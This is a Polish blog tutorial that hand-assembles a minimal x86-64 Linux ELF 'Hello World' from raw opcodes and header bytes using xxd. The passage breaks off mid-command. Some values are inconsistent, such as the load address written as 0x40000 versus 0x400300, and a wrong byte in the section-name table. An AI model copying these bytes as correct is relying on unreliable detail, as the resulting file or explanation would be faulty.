TORGiren DevOpses Bloghttps://blog.fabrykowski.pl/2020-07-20T00:00:00+02:00Hello World w Linuksie2020-07-20T00:00:00+02:002020-07-20T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2020-07-20:/hello-world.html<p>W tym poście napiszę prosty program Hello World pod Linuksa.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/ZDLo40giqnE/" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="kod-programu">
<h2>Kod programu</h2>
<p>Zacznijmy od napisania wypisywania komunikatu na ekran.</p>
<div class="line-block">
<div class="line">Użyjemy do tego wywołania systemowego <tt class="docutils literal">write</tt> a następnie zwrócimy <tt class="docutils literal">0</tt>.</div>
<div class="line">Bazując na <a class="reference external" href="https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl">liście syscalli</a>, widzimy, że <tt class="docutils literal">write</tt> ma number <tt class="docutils literal">1</tt>, natomiast <tt class="docutils literal">exit</tt> ma number <tt class="docutils literal">60</tt>.</div>
</div>
<p>Następnie, sprawdzając w manualu dla tych …</p></div><p>W tym poście napiszę prosty program Hello World pod Linuksa.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/ZDLo40giqnE/" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="kod-programu">
<h2>Kod programu</h2>
<p>Zacznijmy od napisania wypisywania komunikatu na ekran.</p>
<div class="line-block">
<div class="line">Użyjemy do tego wywołania systemowego <tt class="docutils literal">write</tt> a następnie zwrócimy <tt class="docutils literal">0</tt>.</div>
<div class="line">Bazując na <a class="reference external" href="https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl">liście syscalli</a>, widzimy, że <tt class="docutils literal">write</tt> ma number <tt class="docutils literal">1</tt>, natomiast <tt class="docutils literal">exit</tt> ma number <tt class="docutils literal">60</tt>.</div>
</div>
<p>Następnie, sprawdzając w manualu dla tych <tt class="docutils literal">syscall</tt>-i widzimy, że <tt class="docutils literal">write</tt> przyjmuje trzy argumenty, natomiast <tt class="docutils literal">exit</tt> przyjmuje jeden.</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> man <span class="m">2</span> write
<span class="go">...</span>
<span class="go">ssize_t write(int fd, const void *buf, size_t count);</span>
<span class="go">...</span>
<span class="gp">$</span> man <span class="m">2</span> <span class="nb">exit</span>
<span class="go">...</span>
<span class="go">void _exit(int status);</span>
<span class="go">...</span>
</pre></div>
<p>Natomiast w <a class="reference external" href="https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf">abi dla amd64</a> (str 137) widzimy, że numer <tt class="docutils literal">syscall</tt>-a należy podać w rejestrze <tt class="docutils literal">rax</tt>, natomiast argumenty kolejno w <tt class="docutils literal">rdi</tt>, <tt class="docutils literal">rsi</tt>, <tt class="docutils literal">rdx</tt>.</p>
<p>Jako <tt class="docutils literal">fd</tt> podajemy <tt class="docutils literal">1</tt>, które odpowiada standardowemu wyjściu, jako <tt class="docutils literal">buf</tt> podajemy adres do łańcucha znaków do wypisania oraz jako <tt class="docutils literal">count</tt> podajemy długość tego łańcucha.</p>
<p>Co prowadzi nas do następującego pseudokodu:</p>
<div class="highlight"><pre><span></span><span class="nf">movl</span> <span class="no">$1</span><span class="p">,</span> <span class="nv">%eax</span>
<span class="nf">movl</span> <span class="no">$1</span><span class="p">,</span> <span class="nv">%edi</span>
<span class="nf">movl</span> <span class="no">string</span> <span class="no">address</span><span class="p">,</span> <span class="nv">%esi</span>
<span class="nf">movl</span> <span class="no">string</span> <span class="no">lenght</span><span class="p">,</span> <span class="nv">%edx</span>
<span class="nf">syscall</span>
<span class="nf">movl</span> <span class="no">$60</span><span class="p">,</span> <span class="no">$eax</span>
<span class="nf">movl</span> <span class="no">$0</span><span class="p">,</span> <span class="no">$edi</span>
<span class="nf">syscall</span>
</pre></div>
<p>Następnie, używając <a class="reference external" href="http://ref.x86asm.net/coder64-abc.html">opcodes</a>, widzimy że instrukcja <tt class="docutils literal">mov</tt> dla wartości <tt class="docutils literal">immediate</tt> oraz rejestru 64bit ma <tt class="docutils literal">opcode</tt> <code>B8+r</code></p>
<div class="highlight"><pre><span></span>MOV r16/32/64 imm16/32/64 B8+r
</pre></div>
<p>gdzie <tt class="docutils literal">r</tt> oznacza numer rejestru którego chcemy użyć, pamiętając że rejestry są numerowane od zera w kolejności <tt class="docutils literal">rax</tt>, <tt class="docutils literal">rcx</tt>, <tt class="docutils literal">rdx</tt>, <tt class="docutils literal">rbx</tt>, <tt class="docutils literal">rsp</tt>, <tt class="docutils literal">rbp</tt>, <tt class="docutils literal">rsi</tt> oraz <tt class="docutils literal">rdi</tt>,</p>
<p>Natomiast <tt class="docutils literal">syscall</tt> ma opcode: <code>0F 05</code></p>
<div class="highlight"><pre><span></span>SYSCALL RCX R11 SS ... 0F 05 D14 E
</pre></div>
<p>dlatego, aby zapisać nasz kod będziemy potrzebowali następujących instrukcji:</p>
<div class="highlight"><pre><span></span>b8 01 00 00 00
bf 01 00 00 00
be EA EA EA EA
ba EB EB EB EB
0F 05
b8 3c 00 00 00
bf 00 00 00 00
0F 05
</pre></div>
<p>a za nimi umieścimy nasz napis <tt class="docutils literal">Hello World</tt> czyli <code>4865 6c6c 6f20 576f 726c 640a</code></p>
<p>Zapisując to w jednej lini:</p>
<p><code>b801 0000 00bf 0100 0000 beEA EAEA EAba EBEB EBEB 0F05 b83c 0000 00bf 0000 0000 0F05 4865 6c6c 6f20 576f 726c 640a</code></p>
</div>
<div class="section" id="naglowek-elf">
<h2>Nagłówek ELF</h2>
<div class="line-block">
<div class="line">Teraz musimy przygotować nagłówek <tt class="docutils literal">ELF</tt>. Posłużymy się tutaj dokumentacją nagłówków <a class="reference external" href="https://linux.die.net/man/5/elf">elf</a> oraz <a class="reference external" href="http://www.sco.com/developers/gabi/latest/ch4.eheader.html">abi</a>.</div>
<div class="line">Nie będę dokładnie opisywał wszystkich pól, a skupię się jedynie na tych które będą nam potrzebne do napisania aplikacji.</div>
</div>
<p>Nagłówek <tt class="docutils literal">ELF</tt> ma następującą strukturę:</p>
<div class="highlight"><pre><span></span><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">e_ident</span><span class="p">[</span><span class="n">EI_NIDENT</span><span class="p">];</span>
<span class="kt">uint16_t</span> <span class="n">e_type</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_machine</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">e_version</span><span class="p">;</span>
<span class="n">ElfN_Addr</span> <span class="n">e_entry</span><span class="p">;</span>
<span class="n">ElfN_Off</span> <span class="n">e_phoff</span><span class="p">;</span>
<span class="n">ElfN_Off</span> <span class="n">e_shoff</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">e_flags</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_ehsize</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_phentsize</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_phnum</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_shentsize</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_shnum</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">e_shstrndx</span><span class="p">;</span>
<span class="p">}</span> <span class="n">ElfN_Ehdr</span><span class="p">;</span>
</pre></div>
<p>która u nas przyjmie następujące wartości</p>
<p><tt class="docutils literal">e_ident</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Pierwsze cztery bajty mają wartość <code>0x7f454c46</code>.</div>
<div class="line"><tt class="docutils literal">EI_CLASS</tt> dla 64bit przyjmuje wartość <tt class="docutils literal">2</tt>.</div>
<div class="line"><tt class="docutils literal">EI_DATA</tt> dla <tt class="docutils literal">little endian</tt> przyjmuje wartość <tt class="docutils literal">1</tt>.</div>
<div class="line"><tt class="docutils literal">EI_VERSION</tt> musi być podane jako <tt class="docutils literal">1</tt>.</div>
<div class="line"><tt class="docutils literal">EI_OSABI</tt> dla systemów Linuks podajemy <tt class="docutils literal">3</tt>.</div>
<div class="line"><tt class="docutils literal">EI_ABIVERSION</tt> podajemy <tt class="docutils literal">0</tt>.</div>
<div class="line"><tt class="docutils literal">EI_PAD</tt> wypełnienie zerami do pełnych 16 bajtów, czyli <tt class="docutils literal"><span class="pre">16-9=7</span></tt></div>
<div class="line">W efekcie otrzymamy: <code>7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00</code></div>
</div>
</blockquote>
<p><tt class="docutils literal">e_type</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca typ pliku.</div>
<div class="line">Dla aplikacji wykonywalnej podajemy wartość <code>0x0002</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_machine</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość która określa architekturę.</div>
<div class="line">Dla x86_64 podajemy <tt class="docutils literal">60</tt>, czyli <code>0x003e</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_version</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość określająca wersję.</div>
<div class="line">Podajemy <tt class="docutils literal">EV_CURRENT</tt> czyli <code>0x00000001</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_entry</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowy adres początku wykonywania programu. Uzupełnimy go później.</div>
<div class="line">Roboczo przyjmijmy wartość <code>0xAAAAAAAAAAAAAAAA</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_phoff</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtory offset w którym zaczynają się nagłówki programowe</div>
<div class="line">Roboczo przyjmijmy wartość: <code>0xBBBBBBBBBBBBBBBB</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_shoff</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtory offset w którym zaczynają się nagłówki sekcji</div>
<div class="line">Roboczo przyjmijmy wartość: <code>0xCCCCCCCCCCCCCCCC</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_flags</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość określająca flagi.</div>
<div class="line">Podajemy tutaj <code>0x00000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_ehsize</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca rozmiar tego nagłówka.</div>
<div class="line">Dla systemu 64bit podajemy <tt class="docutils literal">64</tt> czyli <code>0x0040</code></div>
</div>
</blockquote>
<p><tt class="docutils literal">e_phentsize</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca rozmiar pojedynczego wpisu w nagłówkach programowych</div>
<div class="line">Dla 64bit podajemy wartość <code>0x0038</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_phnum</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca ilość nagłówków programowych</div>
<div class="line">Roboczo przyjmijmy wartość <code>0xDDDD</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_shentsize</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca rozmiar pojedynczego wpisu w nagłówkach sekcji.</div>
<div class="line">Dla 64bit podajemy wartość <code>0x0040</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_shnum</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca ilość nagłówków sekcji</div>
<div class="line">Roboczo przyjmijmy wartość <code>0xEEEE</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">e_shstrndx</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Dwubajtowa wartość określająca indeks nagłówka sekcji opisującego fragment przechowujący nazwy sekcji</div>
<div class="line">Roboczo przyjmijmy wartość <code>0xFFFF</code>.</div>
</div>
</blockquote>
<p>Efekcie, nagłówek będzie wyglądał następująco:</p>
<p><code>7f45 4c46 0201 0103 0000 0000 0000 0000 0200 3e00 0100 0000 AAAA AAAA AAAA AAAA BBBB BBBB BBBB BBBB CCCC CCCC CCCC CCCC 0000 0000 4000 3800 DDDD 4000 EEEE FFFF</code></p>
</div>
<div class="section" id="naglowki-programowe">
<h2>Nagłówki programowe</h2>
<p>Następnie przygotujemy nagłówki programowe. Struktura każdego wpisu jest następująca:</p>
<div class="highlight"><pre><span></span><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">p_type</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">p_flags</span><span class="p">;</span>
<span class="n">Elf64_Off</span> <span class="n">p_offset</span><span class="p">;</span>
<span class="n">Elf64_Addr</span> <span class="n">p_vaddr</span><span class="p">;</span>
<span class="n">Elf64_Addr</span> <span class="n">p_paddr</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">p_filesz</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">p_memsz</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">p_align</span><span class="p">;</span>
<span class="p">}</span> <span class="n">Elf64_Phdr</span><span class="p">;</span>
</pre></div>
<p>Stworzymy sobie jeden nagłówek programowy, który będzie ładował nasz kod wykonywalny do pamięci</p>
<p><tt class="docutils literal">p_type</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość przechowująca typ danego segmentu danych</div>
<div class="line">W naszym przypadku, będzie to <tt class="docutils literal">PT_LOAD</tt> czyli <code>0x00000001</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_flags</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość przechowująca uprawnienia do ładowanego segmentu.</div>
<div class="line">W naszym przypadku będzie to <tt class="docutils literal">Read</tt> and <tt class="docutils literal">Exec</tt> czyli <code>0x00000005</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_offset</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca offset w pliku od którego zaczniemy wczytywanie</div>
<div class="line">Roboczo przyjmijmy <code>0xABABABABABABABAB</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_vaddr</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca adres pod który ma zostać załadowany segment</div>
<div class="line">Roboczo przyjmijmy <code>0xACACACACACACACAC</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_paddr</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca fizyczny adres. Na systemach System V jest to ignorowane, ale zwykle podaje się to samo, co <tt class="docutils literal">p_vaddr</tt>.</div>
<div class="line">Roboczo przyjmijmy <code>0xACACACACACACACAC</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_filesz</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca liczbę bajtów które mają zostać przeczytane z pliku</div>
<div class="line">Roboczo przyjmijmy <code>0xADADADADADADADAD</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_memsz</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca liczbę bajtów które mają zostać zapisane do pamięci.</div>
<div class="line">Przyjmijmy to samo co <tt class="docutils literal">p_filesz</tt> <code>0xADADADADADADADAD</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">p_align</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca wartość dla wyrównania.</div>
<div class="line">Przyjmijmy <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p>W efekcie nagłówki programowe przyjmują postać:</p>
<p><code>0100 0000 0500 0000 ABAB ABAB ABAB ABAB ACAC ACAC ACAC ACAC ACAC ACAC ACAC ACAC ADAD ADAD ADAD ADAD ADAD ADAD ADAD ADAD 0000 0000 0000 0000</code></p>
</div>
<div class="section" id="naglowki-sekcji">
<h2>Nagłówki sekcji</h2>
<p>Następnie potrzebujemy dwóch sekcji.
Jednej na kod aplikacji, drugiej na nazwy sekcji.
Dodatkowo, na pierwszej pozycji należy umieścić pustą sekcje pustą.</p>
<p>Struktura wpisów sekcji jest następująca:</p>
<div class="highlight"><pre><span></span><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">sh_name</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sh_type</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">sh_flags</span><span class="p">;</span>
<span class="n">Elf64_Addr</span> <span class="n">sh_addr</span><span class="p">;</span>
<span class="n">Elf64_Off</span> <span class="n">sh_offset</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">sh_size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sh_link</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sh_info</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">sh_addralign</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">sh_entsize</span><span class="p">;</span>
<span class="p">}</span> <span class="n">Elf64_Shdr</span><span class="p">;</span>
</pre></div>
<p>Jako pierwszą przygotujemy sekcję z nazwami sekcji.</p>
<p><tt class="docutils literal">sh_name</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość określająca indeks nazwy sekcji na liście nazw sekcji. Pierwsza sekcja ma pustą nazwę, dlatego nazwa tej sekcji zaczyna się na pozycji <tt class="docutils literal">1</tt>.</div>
<div class="line">W naszym przypadku będzie to <code>0x00000001</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_type</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość określająca typ danych w danej sekcji.</div>
<div class="line">W naszym przypadku <tt class="docutils literal">SHT_STRTAB</tt> czyli <code>0x00000003</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_flags</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość określająca flagi dla danej sekcji.</div>
<div class="line">W naszym przypadku brak flag dla tej sekcji, czyli <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_addr</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość określająca adres adres w pamięci w którym zaczyna znajduje się sekcja.</div>
<div class="line">W naszym przypadku sekcja powinna być ładowana z pliku, czyli <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_offset</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość określająca offset względem adresu</div>
<div class="line">Roboczo przyjmijmy <code>0xAEAEAEAEAEAEAEAE</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_size</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość określająca rozmiar sekcji</div>
<div class="line">Roboczo przyjmijmy <code>0xAFAFAFAFAFAFAFAF</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_link</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość, której zawartość jest różnie interpretowana w zależności o typu.</div>
<div class="line">W naszym przypadku przyjmujemy <code>0x00000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_info</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czterobajtowa wartość, której zawartość jest różnie interpretowana w zależności o typu.</div>
<div class="line">W naszym przypadku przyjmujemy <code>0x00000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_addralign</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość przechowująca wartość dla wyrównania.</div>
<div class="line">Przyjmujemy <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_entsize</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Ośmiobajtowa wartość która jest używana, gdy sekcja opisuje tablicę o zadanym rozmiarze.</div>
<div class="line">W naszym przypadku przyjmujemy <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p>W efekcie ten wpis będzie miał postać</p>
<p><code>0001 0000 0300 0000 0000 0000 0000 0000 0000 0000 0000 0000 AEAE AEAE AEAE AEAE AFAF AFAF AFAF AFAF 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000</code></p>
<p>Następnie przygotujmy sekcję dla programu</p>
<p><tt class="docutils literal">sh_name</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Pierwsza sekcja ma pustą nazwę, druga sekcja ma nazwę <tt class="docutils literal">.shstrtab</tt>, dlatego <tt class="docutils literal">.text</tt> zaczyna się na pozycji 12</div>
<div class="line">W naszym przypadku będzie to <code>0x0000000b</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_type</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">W naszym przypadku <tt class="docutils literal">SHT_PROGBITS</tt> czyli <code>0x00000001</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_flags</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">W naszym przypadku <tt class="docutils literal">SHF_ALLOC</tt> oraz <tt class="docutils literal">SHF_EXECINSTR</tt>, czyli <code>0x0000000000000006</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_addr</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Roboczo przyjmijmy <code>0xBABABABABABABABA</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_offset</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Roboczo przyjmijmy <code>0xBCBCBCBCBCBCBCBC</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_size</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Roboczo przyjmijmy <code>0xBDBDBDBDBDBDBDBD</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_link</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Przyjmujemy <code>0x00000000</code></div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_info</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Przyjmujemy <code>0x00000000</code></div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_addralign</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Przyjmujemy <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p><tt class="docutils literal">sh_entsize</tt>:</p>
<blockquote>
<div class="line-block">
<div class="line">Przyjmujemy <code>0x0000000000000000</code>.</div>
</div>
</blockquote>
<p>Co w efekcie da nam:</p>
<p><code>0b00 0000 0100 0000 0600 0000 0000 0000 BABA BABA BABA BABA BCBC BCBC BCBC BCBC BDBD BDBD BDBD BDBD 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000</code></p>
<p>Ostatnią rzeczą którą musimy przygotować, są nazwy sekcji.
Użyjemy domyślnych nazw <tt class="docutils literal">.shstrtab</tt> oraz <tt class="docutils literal">.text</tt></p>
<p><code>003e 7368 7374 7274 6162 002e 7465 7874 0000</code></p>
</div>
<div class="section" id="uklad-danych-w-pliku">
<h2>Układ danych w pliku</h2>
<p>Spróbujmy teraz ułożyć wszystkie elementy w pliku.</p>
<div class="line-block">
<div class="line">Nagłówek ELF będzie oczywiście na początku pliku.</div>
<div class="line">Następnie nagłówki programowe umieścimy pod adresem <code>0x100</code>,</div>
<div class="line">Nagłówki sekcji pod adresem <code>0x200</code>,</div>
<div class="line">kod programu pod adresem <code>0x300</code>,</div>
<div class="line">a nazwy sekcji pod <code>0x400</code>.</div>
</div>
</div>
<div class="section" id="uzupelnianie-placeholderow">
<h2>Uzupełnianie placeholderów</h2>
<p>Załóżmy, że nasz program umieścimy w pamięci pod adresem <code>0x40000</code>.</p>
<p>Znając położenie elementów w pliku, możemy podmienić placeholdery na właściwe wartości:</p>
<p><code>AAAA AAAA AAAA AAAA</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli nasz <tt class="docutils literal">entry point</tt>, będzie miał adres <code>0x400300</code>, ponieważ program jest ładowany pod adresem <code>0x40000</code>, a nasz kod w pliku jest pod adresem <code>0x300</code>, a dla prostoty zachowamy takie same offsety.</div>
<div class="line"><code>0003 4000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>BBBB BBBB BBBB BBBB</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli offset w pliku w którym zaczynają się nagłówki programowe; u nas <code>0x100</code>.</div>
<div class="line"><code>0001 0000 0000 0000</code></div>
</div>
</blockquote>
<p><code>CCCC CCCC CCCC CCCC</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli offset w pliku w którym zaczynają się nagłówki sekcyjne; u nas <code>0x200</code>.</div>
<div class="line"><code>0002 0000 0000 0000</code></div>
</div>
</blockquote>
<p><code>DDDD</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli liczba nagłówków programowych, czyli <tt class="docutils literal">1</tt>.</div>
<div class="line"><code>0100</code>.</div>
</div>
</blockquote>
<p><code>EEEE</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli liczba nagłówków sekcyjnych, czyli <tt class="docutils literal">3</tt>.</div>
<div class="line"><code>0300</code>.</div>
</div>
</blockquote>
<p><code>FFFF</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli index nagłówka sekcji z nazwami sekcji, czyli <tt class="docutils literal">1</tt>.</div>
<div class="line"><code>0100</code>.</div>
</div>
</blockquote>
<p><code>ABAB ABAB ABAB ABAB</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli offset w pliku w którym zaczyna się kod, czyli <code>0x300</code>.</div>
<div class="line"><code>0003 0000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>ACAC ACAC ACAC ACAC</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli address w pamięci do którego ma zostać załadowany kod, czyli <code>0x40300</code>.</div>
<div class="line"><code>0003 4000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>ADAD ADAD ADAD ADAD</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli liczba bajtów która ma zostać załadowana, czyli <code>0x2e</code>.</div>
<div class="line"><code>2e00 0000 0000 0000</code></div>
</div>
</blockquote>
<p><code>AEAE AEAE AEAE AEAE</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli offset w którym zaczyna się w pliku sekcja z nazwami sekcji.</div>
<div class="line"><code>0004 0000 0000 0000</code></div>
</div>
</blockquote>
<p><code>AFAF AFAF AFAF AFAF</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli rozmiar sekcji. Jest to suma długości nazw sekcji wraz z znakami <tt class="docutils literal">NULL</tt>.</div>
<div class="line"><code>1200 0000 0000 0000</code></div>
</div>
</blockquote>
<p><code>BABA BABA BABA BABA</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli adres sekcji w pamięci. Nasz kod został załadowany pod adres <code>0x40300</code>.</div>
<div class="line"><code>0003 4000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>BCBC BCBC BCBC BCBC</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli offset tej sekcji w pliku. U nas <code>0x300</code>.</div>
<div class="line"><code>0003 0000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>BDBD BDBD BDBD BDBD</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli długość sekcji z naszym kodem.</div>
<div class="line"><code>2200 0000 0000 0000</code>.</div>
</div>
</blockquote>
<p><code>EAEA EAEA</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli adres pod którym znajduje się <tt class="docutils literal">Hello world</tt>. W naszym przypadku znajduje się on tuż za kodem, czyli <code>0x22</code> za początkiem kodu w <code>0x40300</code>.</div>
<div class="line"><code>2203 4000</code></div>
</div>
</blockquote>
<p><code>EBEB EBEB</code>:</p>
<blockquote>
<div class="line-block">
<div class="line">Czyli długość napisu <tt class="docutils literal">Hellow world</tt>.</div>
<div class="line"><code>0C00 0000</code>.</div>
</div>
</blockquote>
</div>
<div class="section" id="tworzenie-pliku">
<h2>Tworzenie pliku</h2>
<p>Umieśćmy nasze dane w pliku (wejście zakańczamy enterem i sekwencją <tt class="docutils literal"><span class="pre">Ctrl-d</span></tt>:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> xxd -r -p - /tmp/dd <span class="c1">#ELF</span>
<span class="go">7f45 4c46 0201 0103 0000 0000 0000 0000 0200 3e00 0100 0000 0003 4000 0000 0000 0001 0000 0000 0000 0002 0000 0000 0000 0000 0000 4000 3800 0100 4000 0300 0100</span>
<span class="gp">$</span> xxd -r -p -s 0x100 - /tmp/dd <span class="c1">#Program headers</span>
<span class="go">0100 0000 0500 0000 0003 0000 0000 0000 0003 4000 0000 0000 0003 4000 0000 0000 2e00 0000 0000 0000 2e00 0000 0000 0000 0000 0000 0000 0000</span>
<span class="gp">$</span> xxd -r -p -s 0x200 - /tmp/dd <span class="c1">#Section header null</span>
<span class="go">0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000</span>
<span class="gp">$</span> xxd -r -p -s 0x240 - /tmp/dd <span class="c1">#Section header strtab</span>
